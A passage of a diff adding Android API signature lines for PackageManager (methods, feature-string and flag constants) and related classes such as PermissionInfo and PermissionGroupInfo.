+    method @NonNull public abstract android.content.pm.ApplicationInfo getApplicationInfo(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract CharSequence getApplicationLabel(@NonNull android.content.pm.ApplicationInfo);
+    method @Nullable public abstract android.graphics.drawable.Drawable getApplicationLogo(@NonNull android.content.pm.ApplicationInfo);
+    method @Nullable public abstract android.graphics.drawable.Drawable getApplicationLogo(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public CharSequence getBackgroundPermissionOptionLabel();
+    method @Nullable public abstract android.content.pm.ChangedPackages getChangedPackages(@IntRange(from=0) int);
+    method public abstract int getComponentEnabledSetting(@NonNull android.content.ComponentName);
+    method @NonNull public abstract android.graphics.drawable.Drawable getDefaultActivityIcon();
+    method @Nullable public abstract android.graphics.drawable.Drawable getDrawable(@NonNull String, @DrawableRes int, @Nullable android.content.pm.ApplicationInfo);
+    method public void getGroupOfPlatformPermission(@NonNull String, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.String>);
+    method @NonNull public android.content.pm.InstallSourceInfo getInstallSourceInfo(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract java.util.List<android.content.pm.ApplicationInfo> getInstalledApplications(int);
+    method @NonNull public java.util.List<android.content.pm.ModuleInfo> getInstalledModules(int);
+    method @NonNull public abstract java.util.List<android.content.pm.PackageInfo> getInstalledPackages(int);
+    method @Deprecated @Nullable public abstract String getInstallerPackageName(@NonNull String);
+    method @NonNull public abstract byte[] getInstantAppCookie();
+    method public abstract int getInstantAppCookieMaxBytes();
+    method @NonNull public abstract android.content.pm.InstrumentationInfo getInstrumentationInfo(@NonNull android.content.ComponentName, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract android.content.Intent getLaunchIntentForPackage(@NonNull String);
+    method @Nullable public abstract android.content.Intent getLeanbackLaunchIntentForPackage(@NonNull String);
+    method @NonNull public java.util.Set<java.lang.String> getMimeGroup(@NonNull String);
+    method @NonNull public android.content.pm.ModuleInfo getModuleInfo(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract String getNameForUid(int);
+    method @Nullable public android.content.pm.PackageInfo getPackageArchiveInfo(@NonNull String, int);
+    method public abstract int[] getPackageGids(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract int[] getPackageGids(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract android.content.pm.PackageInfo getPackageInfo(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract android.content.pm.PackageInfo getPackageInfo(@NonNull android.content.pm.VersionedPackage, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.pm.PackageInstaller getPackageInstaller();
+    method public abstract int getPackageUid(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract String[] getPackagesForUid(int);
+    method @NonNull public abstract java.util.List<android.content.pm.PackageInfo> getPackagesHoldingPermissions(@NonNull String[], int);
+    method @NonNull public abstract android.content.pm.PermissionGroupInfo getPermissionGroupInfo(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract android.content.pm.PermissionInfo getPermissionInfo(@NonNull String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public void getPlatformPermissionsForGroup(@NonNull String, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.util.List<java.lang.String>>);
+    method @Deprecated public abstract int getPreferredActivities(@NonNull java.util.List<android.content.IntentFilter>, @NonNull java.util.List<android.content.ComponentName>, @Nullable String);
+    method @Deprecated @NonNull public abstract java.util.List<android.content.pm.PackageInfo> getPreferredPackages(int);
+    method @NonNull public android.content.pm.PackageManager.Property getProperty(@NonNull String, @NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public android.content.pm.PackageManager.Property getProperty(@NonNull String, @NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.pm.ProviderInfo getProviderInfo(@NonNull android.content.ComponentName, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.pm.ActivityInfo getReceiverInfo(@NonNull android.content.ComponentName, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.res.Resources getResourcesForActivity(@NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.res.Resources getResourcesForApplication(@NonNull android.content.pm.ApplicationInfo) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public android.content.res.Resources getResourcesForApplication(@NonNull android.content.pm.ApplicationInfo, @Nullable android.content.res.Configuration) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.res.Resources getResourcesForApplication(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.pm.ServiceInfo getServiceInfo(@NonNull android.content.ComponentName, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract java.util.List<android.content.pm.SharedLibraryInfo> getSharedLibraries(int);
+    method @Nullable public android.os.Bundle getSuspendedPackageAppExtras();
+    method public boolean getSyntheticAppDetailsActivityEnabled(@NonNull String);
+    method @NonNull public abstract android.content.pm.FeatureInfo[] getSystemAvailableFeatures();
+    method @Nullable public abstract String[] getSystemSharedLibraryNames();
+    method @IntRange(from=0) public int getTargetSdkVersion(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract CharSequence getText(@NonNull String, @StringRes int, @Nullable android.content.pm.ApplicationInfo);
+    method @NonNull public abstract android.graphics.drawable.Drawable getUserBadgedDrawableForDensity(@NonNull android.graphics.drawable.Drawable, @NonNull android.os.UserHandle, @Nullable android.graphics.Rect, int);
+    method @NonNull public abstract android.graphics.drawable.Drawable getUserBadgedIcon(@NonNull android.graphics.drawable.Drawable, @NonNull android.os.UserHandle);
+    method @NonNull public abstract CharSequence getUserBadgedLabel(@NonNull CharSequence, @NonNull android.os.UserHandle);
+    method @NonNull @RequiresPermission(value="android.permission.WHITELIST_RESTRICTED_PERMISSIONS", conditional=true) public java.util.Set<java.lang.String> getWhitelistedRestrictedPermissions(@NonNull String, int);
+    method @Nullable public abstract android.content.res.XmlResourceParser getXml(@NonNull String, @XmlRes int, @Nullable android.content.pm.ApplicationInfo);
+    method public boolean hasSigningCertificate(@NonNull String, @NonNull byte[], int);
+    method public boolean hasSigningCertificate(int, @NonNull byte[], int);
+    method public abstract boolean hasSystemFeature(@NonNull String);
+    method public abstract boolean hasSystemFeature(@NonNull String, int);
+    method @RequiresPermission(value="android.permission.WHITELIST_AUTO_REVOKE_PERMISSIONS", conditional=true) public boolean isAutoRevokeWhitelisted(@NonNull String);
+    method public boolean isAutoRevokeWhitelisted();
+    method public boolean isDefaultApplicationIcon(@NonNull android.graphics.drawable.Drawable);
+    method public boolean isDeviceUpgrading();
+    method public abstract boolean isInstantApp();
+    method public abstract boolean isInstantApp(@NonNull String);
+    method public boolean isPackageSuspended(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public boolean isPackageSuspended();
+    method @CheckResult public abstract boolean isPermissionRevokedByPolicy(@NonNull String, @NonNull String);
+    method public abstract boolean isSafeMode();
+    method @NonNull public java.util.List<android.content.pm.PackageManager.Property> queryActivityProperty(@NonNull String);
+    method @NonNull public java.util.List<android.content.pm.PackageManager.Property> queryApplicationProperty(@NonNull String);
+    method @NonNull public abstract java.util.List<android.content.pm.ResolveInfo> queryBroadcastReceivers(@NonNull android.content.Intent, int);
+    method @NonNull public abstract java.util.List<android.content.pm.ProviderInfo> queryContentProviders(@Nullable String, int, int);
+    method @NonNull public abstract java.util.List<android.content.pm.InstrumentationInfo> queryInstrumentation(@NonNull String, int);
+    method @NonNull public abstract java.util.List<android.content.pm.ResolveInfo> queryIntentActivities(@NonNull android.content.Intent, int);
+    method @NonNull public abstract java.util.List<android.content.pm.ResolveInfo> queryIntentActivityOptions(@Nullable android.content.ComponentName, @Nullable android.content.Intent[], @NonNull android.content.Intent, int);
+    method @NonNull public abstract java.util.List<android.content.pm.ResolveInfo> queryIntentContentProviders(@NonNull android.content.Intent, int);
+    method @NonNull public abstract java.util.List<android.content.pm.ResolveInfo> queryIntentServices(@NonNull android.content.Intent, int);
+    method @NonNull public abstract java.util.List<android.content.pm.PermissionInfo> queryPermissionsByGroup(@Nullable String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public java.util.List<android.content.pm.PackageManager.Property> queryProviderProperty(@NonNull String);
+    method @NonNull public java.util.List<android.content.pm.PackageManager.Property> queryReceiverProperty(@NonNull String);
+    method @NonNull public java.util.List<android.content.pm.PackageManager.Property> queryServiceProperty(@NonNull String);
+    method @Deprecated public abstract void removePackageFromPreferred(@NonNull String);
+    method public abstract void removePermission(@NonNull String);
+    method @RequiresPermission(value="android.permission.WHITELIST_RESTRICTED_PERMISSIONS", conditional=true) public boolean removeWhitelistedRestrictedPermission(@NonNull String, @NonNull String, int);
+    method public void requestChecksums(@NonNull String, boolean, int, @NonNull java.util.List<java.security.cert.Certificate>, @NonNull android.content.pm.PackageManager.OnChecksumsReadyListener) throws java.security.cert.CertificateEncodingException, android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract android.content.pm.ResolveInfo resolveActivity(@NonNull android.content.Intent, int);
+    method @Nullable public abstract android.content.pm.ProviderInfo resolveContentProvider(@NonNull String, int);
+    method @Nullable public abstract android.content.pm.ResolveInfo resolveService(@NonNull android.content.Intent, int);
+    method public abstract void setApplicationCategoryHint(@NonNull String, int);
+    method @RequiresPermission(value=android.Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE, conditional=true) public abstract void setApplicationEnabledSetting(@NonNull String, int, int);
+    method @RequiresPermission(value="android.permission.WHITELIST_AUTO_REVOKE_PERMISSIONS", conditional=true) public boolean setAutoRevokeWhitelisted(@NonNull String, boolean);
+    method @RequiresPermission(value=android.Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE, conditional=true) public abstract void setComponentEnabledSetting(@NonNull android.content.ComponentName, int, int);
+    method public abstract void setInstallerPackageName(@NonNull String, @Nullable String);
+    method public void setMimeGroup(@NonNull String, @NonNull java.util.Set<java.lang.String>);
+    method public abstract void updateInstantAppCookie(@Nullable byte[]);
+    method public abstract void verifyPendingInstall(int, int);
+    field public static final int CERT_INPUT_RAW_X509 = 0; // 0x0
+    field public static final int CERT_INPUT_SHA256 = 1; // 0x1
+    field public static final int COMPONENT_ENABLED_STATE_DEFAULT = 0; // 0x0
+    field public static final int COMPONENT_ENABLED_STATE_DISABLED = 2; // 0x2
+    field public static final int COMPONENT_ENABLED_STATE_DISABLED_UNTIL_USED = 4; // 0x4
+    field public static final int COMPONENT_ENABLED_STATE_DISABLED_USER = 3; // 0x3
+    field public static final int COMPONENT_ENABLED_STATE_ENABLED = 1; // 0x1
+    field public static final int DONT_KILL_APP = 1; // 0x1
+    field public static final String EXTRA_VERIFICATION_ID = "android.content.pm.extra.VERIFICATION_ID";
+    field public static final String EXTRA_VERIFICATION_RESULT = "android.content.pm.extra.VERIFICATION_RESULT";
+    field public static final String FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS = "android.software.activities_on_secondary_displays";
+    field public static final String FEATURE_APP_WIDGETS = "android.software.app_widgets";
+    field public static final String FEATURE_AUDIO_LOW_LATENCY = "android.hardware.audio.low_latency";
+    field public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    field public static final String FEATURE_AUDIO_PRO = "android.hardware.audio.pro";
+    field public static final String FEATURE_AUTOFILL = "android.software.autofill";
+    field public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    field public static final String FEATURE_BACKUP = "android.software.backup";
+    field public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    field public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    field public static final String FEATURE_CAMERA = "android.hardware.camera";
+    field public static final String FEATURE_CAMERA_ANY = "android.hardware.camera.any";
+    field public static final String FEATURE_CAMERA_AR = "android.hardware.camera.ar";
+    field public static final String FEATURE_CAMERA_AUTOFOCUS = "android.hardware.camera.autofocus";
+    field public static final String FEATURE_CAMERA_CAPABILITY_MANUAL_POST_PROCESSING = "android.hardware.camera.capability.manual_post_processing";
+    field public static final String FEATURE_CAMERA_CAPABILITY_MANUAL_SENSOR = "android.hardware.camera.capability.manual_sensor";
+    field public static final String FEATURE_CAMERA_CAPABILITY_RAW = "android.hardware.camera.capability.raw";
+    field public static final String FEATURE_CAMERA_CONCURRENT = "android.hardware.camera.concurrent";
+    field public static final String FEATURE_CAMERA_EXTERNAL = "android.hardware.camera.external";
+    field public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
+    field public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
+    field public static final String FEATURE_CAMERA_LEVEL_FULL = "android.hardware.camera.level.full";
+    field public static final String FEATURE_CANT_SAVE_STATE = "android.software.cant_save_state";
+    field public static final String FEATURE_COMPANION_DEVICE_SETUP = "android.software.companion_device_setup";
+    field public static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
+    field public static final String FEATURE_CONSUMER_IR = "android.hardware.consumerir";
+    field public static final String FEATURE_CONTROLS = "android.software.controls";
+    field public static final String FEATURE_DEVICE_ADMIN = "android.software.device_admin";
+    field public static final String FEATURE_EMBEDDED = "android.hardware.type.embedded";
+    field public static final String FEATURE_ETHERNET = "android.hardware.ethernet";
+    field public static final String FEATURE_FACE = "android.hardware.biometrics.face";
+    field public static final String FEATURE_FAKETOUCH = "android.hardware.faketouch";
+    field public static final String FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT = "android.hardware.faketouch.multitouch.distinct";
+    field public static final String FEATURE_FAKETOUCH_MULTITOUCH_JAZZHAND = "android.hardware.faketouch.multitouch.jazzhand";
+    field public static final String FEATURE_FINGERPRINT = "android.hardware.fingerprint";
+    field public static final String FEATURE_FREEFORM_WINDOW_MANAGEMENT = "android.software.freeform_window_management";
+    field public static final String FEATURE_GAMEPAD = "android.hardware.gamepad";
+    field public static final String FEATURE_HARDWARE_KEYSTORE = "android.hardware.hardware_keystore";
+    field public static final String FEATURE_HIFI_SENSORS = "android.hardware.sensor.hifi_sensors";
+    field public static final String FEATURE_HOME_SCREEN = "android.software.home_screen";
+    field public static final String FEATURE_IDENTITY_CREDENTIAL_HARDWARE = "android.hardware.identity_credential";
+    field public static final String FEATURE_IDENTITY_CREDENTIAL_HARDWARE_DIRECT_ACCESS = "android.hardware.identity_credential_direct_access";
+    field public static final String FEATURE_INPUT_METHODS = "android.software.input_methods";
+    field public static final String FEATURE_IPSEC_TUNNELS = "android.software.ipsec_tunnels";
+    field public static final String FEATURE_IRIS = "android.hardware.biometrics.iris";
+    field public static final String FEATURE_KEYSTORE_APP_ATTEST_KEY = "android.hardware.keystore.app_attest_key";
+    field public static final String FEATURE_KEYSTORE_LIMITED_USE_KEY = "android.hardware.keystore.limited_use_key";
+    field public static final String FEATURE_KEYSTORE_SINGLE_USE_KEY = "android.hardware.keystore.single_use_key";
+    field public static final String FEATURE_LEANBACK = "android.software.leanback";
+    field public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    field public static final String FEATURE_LIVE_TV = "android.software.live_tv";
+    field public static final String FEATURE_LIVE_WALLPAPER = "android.software.live_wallpaper";
+    field public static final String FEATURE_LOCATION = "android.hardware.location";
+    field public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    field public static final String FEATURE_LOCATION_NETWORK = "android.hardware.location.network";
+    field public static final String FEATURE_MANAGED_USERS = "android.software.managed_users";
+    field public static final String FEATURE_MICROPHONE = "android.hardware.microphone";
+    field public static final String FEATURE_MIDI = "android.software.midi";
+    field public static final String FEATURE_NFC = "android.hardware.nfc";
+    field public static final String FEATURE_NFC_BEAM = "android.sofware.nfc.beam";
+    field public static final String FEATURE_NFC_HOST_CARD_EMULATION = "android.hardware.nfc.hce";
+    field public static final String FEATURE_NFC_HOST_CARD_EMULATION_NFCF = "android.hardware.nfc.hcef";
+    field public static final String FEATURE_NFC_OFF_HOST_CARD_EMULATION_ESE = "android.hardware.nfc.ese";
+    field public static final String FEATURE_NFC_OFF_HOST_CARD_EMULATION_UICC = "android.hardware.nfc.uicc";
+    field public static final String FEATURE_OPENGLES_DEQP_LEVEL = "android.software.opengles.deqp.level";
+    field public static final String FEATURE_OPENGLES_EXTENSION_PACK = "android.hardware.opengles.aep";
+    field public static final String FEATURE_PC = "android.hardware.type.pc";
+    field public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+    field public static final String FEATURE_PRINTING = "android.software.print";
+    field public static final String FEATURE_RAM_LOW = "android.hardware.ram.low";
+    field public static final String FEATURE_RAM_NORMAL = "android.hardware.ram.normal";
+    field public static final String FEATURE_SCREEN_LANDSCAPE = "android.hardware.screen.landscape";
+    field public static final String FEATURE_SCREEN_PORTRAIT = "android.hardware.screen.portrait";
+    field public static final String FEATURE_SECURELY_REMOVES_USERS = "android.software.securely_removes_users";
+    field public static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
+    field public static final String FEATURE_SECURITY_MODEL_COMPATIBLE = "android.hardware.security.model.compatible";
+    field public static final String FEATURE_SENSOR_ACCELEROMETER = "android.hardware.sensor.accelerometer";
+    field public static final String FEATURE_SENSOR_AMBIENT_TEMPERATURE = "android.hardware.sensor.ambient_temperature";
+    field public static final String FEATURE_SENSOR_BAROMETER = "android.hardware.sensor.barometer";
+    field public static final String FEATURE_SENSOR_COMPASS = "android.hardware.sensor.compass";
+    field public static final String FEATURE_SENSOR_GYROSCOPE = "android.hardware.sensor.gyroscope";
+    field public static final String FEATURE_SENSOR_HEART_RATE = "android.hardware.sensor.heartrate";
+    field public static final String FEATURE_SENSOR_HEART_RATE_ECG = "android.hardware.sensor.heartrate.ecg";
+    field public static final String FEATURE_SENSOR_HINGE_ANGLE = "android.hardware.sensor.hinge_angle";
+    field public static final String FEATURE_SENSOR_LIGHT = "android.hardware.sensor.light";
+    field public static final String FEATURE_SENSOR_PROXIMITY = "android.hardware.sensor.proximity";
+    field public static final String FEATURE_SENSOR_RELATIVE_HUMIDITY = "android.hardware.sensor.relative_humidity";
+    field public static final String FEATURE_SENSOR_STEP_COUNTER = "android.hardware.sensor.stepcounter";
+    field public static final String FEATURE_SENSOR_STEP_DETECTOR = "android.hardware.sensor.stepdetector";
+    field public static final String FEATURE_SE_OMAPI_ESE = "android.hardware.se.omapi.ese";
+    field public static final String FEATURE_SE_OMAPI_SD = "android.hardware.se.omapi.sd";
+    field public static final String FEATURE_SE_OMAPI_UICC = "android.hardware.se.omapi.uicc";
+    field public static final String FEATURE_SIP = "android.software.sip";
+    field public static final String FEATURE_SIP_VOIP = "android.software.sip.voip";
+    field public static final String FEATURE_STRONGBOX_KEYSTORE = "android.hardware.strongbox_keystore";
+    field public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    field public static final String FEATURE_TELEPHONY_CDMA = "android.hardware.telephony.cdma";
+    field public static final String FEATURE_TELEPHONY_EUICC = "android.hardware.telephony.euicc";
+    field public static final String FEATURE_TELEPHONY_GSM = "android.hardware.telephony.gsm";
+    field public static final String FEATURE_TELEPHONY_IMS = "android.hardware.telephony.ims";
+    field public static final String FEATURE_TELEPHONY_MBMS = "android.hardware.telephony.mbms";
+    field @Deprecated public static final String FEATURE_TELEVISION = "android.hardware.type.television";
+    field public static final String FEATURE_TOUCHSCREEN = "android.hardware.touchscreen";
+    field public static final String FEATURE_TOUCHSCREEN_MULTITOUCH = "android.hardware.touchscreen.multitouch";
+    field public static final String FEATURE_TOUCHSCREEN_MULTITOUCH_DISTINCT = "android.hardware.touchscreen.multitouch.distinct";
+    field public static final String FEATURE_TOUCHSCREEN_MULTITOUCH_JAZZHAND = "android.hardware.touchscreen.multitouch.jazzhand";
+    field public static final String FEATURE_USB_ACCESSORY = "android.hardware.usb.accessory";
+    field public static final String FEATURE_USB_HOST = "android.hardware.usb.host";
+    field public static final String FEATURE_VERIFIED_BOOT = "android.software.verified_boot";
+    field public static final String FEATURE_VR_HEADTRACKING = "android.hardware.vr.headtracking";
+    field @Deprecated public static final String FEATURE_VR_MODE = "android.software.vr.mode";
+    field public static final String FEATURE_VR_MODE_HIGH_PERFORMANCE = "android.hardware.vr.high_performance";
+    field public static final String FEATURE_VULKAN_DEQP_LEVEL = "android.software.vulkan.deqp.level";
+    field public static final String FEATURE_VULKAN_HARDWARE_COMPUTE = "android.hardware.vulkan.compute";
+    field public static final String FEATURE_VULKAN_HARDWARE_LEVEL = "android.hardware.vulkan.level";
+    field public static final String FEATURE_VULKAN_HARDWARE_VERSION = "android.hardware.vulkan.version";
+    field public static final String FEATURE_WATCH = "android.hardware.type.watch";
+    field public static final String FEATURE_WEBVIEW = "android.software.webview";
+    field public static final String FEATURE_WIFI = "android.hardware.wifi";
+    field public static final String FEATURE_WIFI_AWARE = "android.hardware.wifi.aware";
+    field public static final String FEATURE_WIFI_DIRECT = "android.hardware.wifi.direct";
+    field public static final String FEATURE_WIFI_PASSPOINT = "android.hardware.wifi.passpoint";
+    field public static final String FEATURE_WIFI_RTT = "android.hardware.wifi.rtt";
+    field public static final int FLAG_PERMISSION_WHITELIST_INSTALLER = 2; // 0x2
+    field public static final int FLAG_PERMISSION_WHITELIST_SYSTEM = 1; // 0x1
+    field public static final int FLAG_PERMISSION_WHITELIST_UPGRADE = 4; // 0x4
+    field public static final int GET_ACTIVITIES = 1; // 0x1
+    field public static final int GET_ATTRIBUTIONS = -2147483648; // 0x80000000
+    field public static final int GET_CONFIGURATIONS = 16384; // 0x4000
+    field @Deprecated public static final int GET_DISABLED_COMPONENTS = 512; // 0x200
+    field @Deprecated public static final int GET_DISABLED_UNTIL_USED_COMPONENTS = 32768; // 0x8000
+    field public static final int GET_GIDS = 256; // 0x100
+    field public static final int GET_INSTRUMENTATION = 16; // 0x10
+    field @Deprecated public static final int GET_INTENT_FILTERS = 32; // 0x20
+    field public static final int GET_META_DATA = 128; // 0x80
+    field public static final int GET_PERMISSIONS = 4096; // 0x1000
+    field public static final int GET_PROVIDERS = 8; // 0x8
+    field public static final int GET_RECEIVERS = 2; // 0x2
+    field public static final int GET_RESOLVED_FILTER = 64; // 0x40
+    field public static final int GET_SERVICES = 4; // 0x4
+    field public static final int GET_SHARED_LIBRARY_FILES = 1024; // 0x400
+    field @Deprecated public static final int GET_SIGNATURES = 64; // 0x40
+    field public static final int GET_SIGNING_CERTIFICATES = 134217728; // 0x8000000
+    field @Deprecated public static final int GET_UNINSTALLED_PACKAGES = 8192; // 0x2000
+    field public static final int GET_URI_PERMISSION_PATTERNS = 2048; // 0x800
+    field public static final int INSTALL_REASON_DEVICE_RESTORE = 2; // 0x2
+    field public static final int INSTALL_REASON_DEVICE_SETUP = 3; // 0x3
+    field public static final int INSTALL_REASON_POLICY = 1; // 0x1
+    field public static final int INSTALL_REASON_UNKNOWN = 0; // 0x0
+    field public static final int INSTALL_REASON_USER = 4; // 0x4
+    field public static final int INSTALL_SCENARIO_BULK = 2; // 0x2
+    field public static final int INSTALL_SCENARIO_BULK_SECONDARY = 3; // 0x3
+    field public static final int INSTALL_SCENARIO_DEFAULT = 0; // 0x0
+    field public static final int INSTALL_SCENARIO_FAST = 1; // 0x1
+    field public static final int MATCH_ALL = 131072; // 0x20000
+    field public static final int MATCH_APEX = 1073741824; // 0x40000000
+    field public static final int MATCH_DEFAULT_ONLY = 65536; // 0x10000
+    field public static final int MATCH_DIRECT_BOOT_AUTO = 268435456; // 0x10000000
+    field public static final int MATCH_DIRECT_BOOT_AWARE = 524288; // 0x80000
+    field public static final int MATCH_DIRECT_BOOT_UNAWARE = 262144; // 0x40000
+    field public static final int MATCH_DISABLED_COMPONENTS = 512; // 0x200
+    field public static final int MATCH_DISABLED_UNTIL_USED_COMPONENTS = 32768; // 0x8000
+    field public static final int MATCH_SYSTEM_ONLY = 1048576; // 0x100000
+    field public static final int MATCH_UNINSTALLED_PACKAGES = 8192; // 0x2000
+    field public static final long MAXIMUM_VERIFICATION_TIMEOUT = 3600000L; // 0x36ee80L
+    field public static final int PERMISSION_DENIED = -1; // 0xffffffff
+    field public static final int PERMISSION_GRANTED = 0; // 0x0
+    field public static final String PROPERTY_MEDIA_CAPABILITIES = "android.media.PROPERTY_MEDIA_CAPABILITIES";
+    field public static final int SIGNATURE_FIRST_NOT_SIGNED = -1; // 0xffffffff
+    field public static final int SIGNATURE_MATCH = 0; // 0x0
+    field public static final int SIGNATURE_NEITHER_SIGNED = 1; // 0x1
+    field public static final int SIGNATURE_NO_MATCH = -3; // 0xfffffffd
+    field public static final int SIGNATURE_SECOND_NOT_SIGNED = -2; // 0xfffffffe
+    field public static final int SIGNATURE_UNKNOWN_PACKAGE = -4; // 0xfffffffc
+    field public static final int SYNCHRONOUS = 2; // 0x2
+    field @NonNull public static final java.util.List<java.security.cert.Certificate> TRUST_ALL;
+    field @NonNull public static final java.util.List<java.security.cert.Certificate> TRUST_NONE;
+    field public static final int VERIFICATION_ALLOW = 1; // 0x1
+    field public static final int VERIFICATION_REJECT = -1; // 0xffffffff
+    field public static final int VERSION_CODE_HIGHEST = -1; // 0xffffffff
+  }
+
+  public static class PackageManager.NameNotFoundException extends android.util.AndroidException {
+    ctor public PackageManager.NameNotFoundException();
+    ctor public PackageManager.NameNotFoundException(String);
+  }
+
+  @java.lang.FunctionalInterface public static interface PackageManager.OnChecksumsReadyListener {
+    method public void onChecksumsReady(@NonNull java.util.List<android.content.pm.ApkChecksum>);
+  }
+
+  public static final class PackageManager.Property implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean getBoolean();
+    method @Nullable public String getClassName();
+    method public float getFloat();
+    method public int getInteger();
+    method @NonNull public String getName();
+    method @NonNull public String getPackageName();
+    method public int getResourceId();
+    method @Nullable public String getString();
+    method public boolean isBoolean();
+    method public boolean isFloat();
+    method public boolean isInteger();
+    method public boolean isResourceId();
+    method public boolean isString();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PackageManager.Property> CREATOR;
+  }
+
+  @Deprecated public class PackageStats implements android.os.Parcelable {
+    ctor @Deprecated public PackageStats(String);
+    ctor @Deprecated public PackageStats(android.os.Parcel);
+    ctor @Deprecated public PackageStats(android.content.pm.PackageStats);
+    method @Deprecated public int describeContents();
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PackageStats> CREATOR;
+    field @Deprecated public long cacheSize;
+    field @Deprecated public long codeSize;
+    field @Deprecated public long dataSize;
+    field @Deprecated public long externalCacheSize;
+    field @Deprecated public long externalCodeSize;
+    field @Deprecated public long externalDataSize;
+    field @Deprecated public long externalMediaSize;
+    field @Deprecated public long externalObbSize;
+    field @Deprecated public String packageName;
+  }
+
+  public class PathPermission extends android.os.PatternMatcher {
+    ctor public PathPermission(String, int, String, String);
+    ctor public PathPermission(android.os.Parcel);
+    method public String getReadPermission();
+    method public String getWritePermission();
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PathPermission> CREATOR;
+  }
+
+  public class PermissionGroupInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    ctor @Deprecated public PermissionGroupInfo();
+    ctor @Deprecated public PermissionGroupInfo(@NonNull android.content.pm.PermissionGroupInfo);
+    method public int describeContents();
+    method @Nullable public CharSequence loadDescription(@NonNull android.content.pm.PackageManager);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PermissionGroupInfo> CREATOR;
+    field public static final int FLAG_PERSONAL_INFO = 1; // 0x1
+    field @StringRes public int descriptionRes;
+    field public int flags;
+    field @Nullable public CharSequence nonLocalizedDescription;
+    field public int priority;
+  }
+
+  public class PermissionInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    ctor @Deprecated public PermissionInfo();
+    ctor @Deprecated public PermissionInfo(@NonNull android.content.pm.PermissionInfo);
+    method public int describeContents();
+    method public int getProtection();
+    method public int getProtectionFlags();
+    method @Nullable public CharSequence loadDescription(@NonNull android.content.pm.PackageManager);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PermissionInfo> CREATOR;
+    field public static final int FLAG_COSTS_MONEY = 1; // 0x1
+    field public static final int FLAG_HARD_RESTRICTED = 4; // 0x4
+    field public static final int FLAG_IMMUTABLY_RESTRICTED = 16; // 0x10
+    field public static final int FLAG_INSTALLED = 1073741824; // 0x40000000
+    field public static final int FLAG_SOFT_RESTRICTED = 8; // 0x8
+    field public static final int PROTECTION_DANGEROUS = 1; // 0x1
+    field public static final int PROTECTION_FLAG_APPOP = 64; // 0x40
+    field public static final int PROTECTION_FLAG_DEVELOPMENT = 32; // 0x20
+    field public static final int PROTECTION_FLAG_INSTALLER = 256; // 0x100
+    field public static final int PROTECTION_FLAG_INSTANT = 4096; // 0x1000
+    field public static final int PROTECTION_FLAG_PRE23 = 128; // 0x80
+    field public static final int PROTECTION_FLAG_PREINSTALLED = 1024; // 0x400
+    field public static final int PROTECTION_FLAG_PRIVILEGED = 16; // 0x10
+    field public static final int PROTECTION_FLAG_RUNTIME_ONLY = 8192; // 0x2000
+    field public static final int PROTECTION_FLAG_SETUP = 2048; // 0x800
+    field @Deprecated public static final int PROTECTION_FLAG_SYSTEM = 16; // 0x10
+    field public static final int PROTECTION_FLAG_VERIFIER = 512; // 0x200
